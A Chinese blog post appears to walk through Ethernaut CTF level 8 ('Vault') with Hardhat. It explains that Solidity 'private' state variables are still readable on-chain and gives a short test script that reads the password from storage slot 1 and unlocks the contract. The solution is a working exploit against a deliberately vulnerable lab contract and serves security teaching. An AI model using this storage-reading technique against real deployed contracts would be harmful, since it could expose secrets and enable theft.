用Hardhat闯关Ethernaut题8 -vault

  • 时间:
  • 浏览:75
  • 来源:区块链技术网

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

Vault合约

任务:猜对状态变量password的值。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) public {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

这道题有个迷惑的关键词 private,会以为password是私有的,但其实区块链上没有什么是绝对私有的,private更多的是一种作用域。解题思路:使用getStorageAt和状态变量在储存中的布局概念。

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");

describe("test", function () {
    var Vault;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const VaultInstance = await ethers.getContractFactory("Vault");
        Vault = await VaultInstance.deploy(ethers.utils.formatBytes32String("ETH"));
    });
    it("hack test", async function () {
        const r = await ethers.provider.getStorageAt(Vault.address, 1);
        expect(ethers.utils.parseBytes32String(r)).to.equal("ETH");
        await Vault.unlock(r);
        expect(await Vault.locked()).to.equal(false);
    });
});

运行结果:

Github:hardhat测试仓库

本文参与区块链技术网 ,好文好收益,欢迎正在阅读的你也加入。

  • 发表于 2022-09-16 14:27
  • 阅读 ( 177 )
  • 学分 ( 1 )
  • 分类:智能合约

猜你喜欢

精通Solidity 的工程师平均年薪15.1万美金,薪资待遇同行最高!

Trustnode引用工程师专用求职网站「DevJobsScanner」的资讯报导称,会编写Solidity程序语言的工程师在产业中享有最高的薪资待遇。该网站创办人LoganD

2023-01-25

【开发智能合约—Solidity系列】浅谈智能合约

相信很多人都知道合约是什么,那又为什么还要创造智能合约呢?究竟相较于传统合约之下,更为优势的原因在哪里呢?我们将在以下逐一进行说明。首先来谈谈传统合约图片来源:自行制作在开始说

2023-01-25

【开发智能合约—Solidity系列】认识Solidity

Solidity也是目前区块链程式开发相对热门的一门技术,因此相信很多问题都会有许多开发者共同讨论,在技术的道路上也比较不孤单。其实撰写智能合约的程式语言并非只有Solidit

2023-01-25

【开发智能合约—Solidity系列】开发环境准备

开发之前我们先来做一些前置准备,就如同一道料理在完成之前,会预先准备厨具、食材,而我们就来看看这些厨具与食材究竟能够煮出什么令人惊艳的料理吧!那我们需要准备哪些东西呢?●IDE

2023-01-25

【开发智能合约—Solidity系列】Remix编辑器常用的Plugin

Remix这款云端编辑器非常方便,任何地方只要有浏览器就能进行开发,已经不同于以往的开发模式,相信这种开发方式在未来也会逐渐盛行,而且自由弹性度非常的高,在习惯的个人电脑上开发

2023-01-25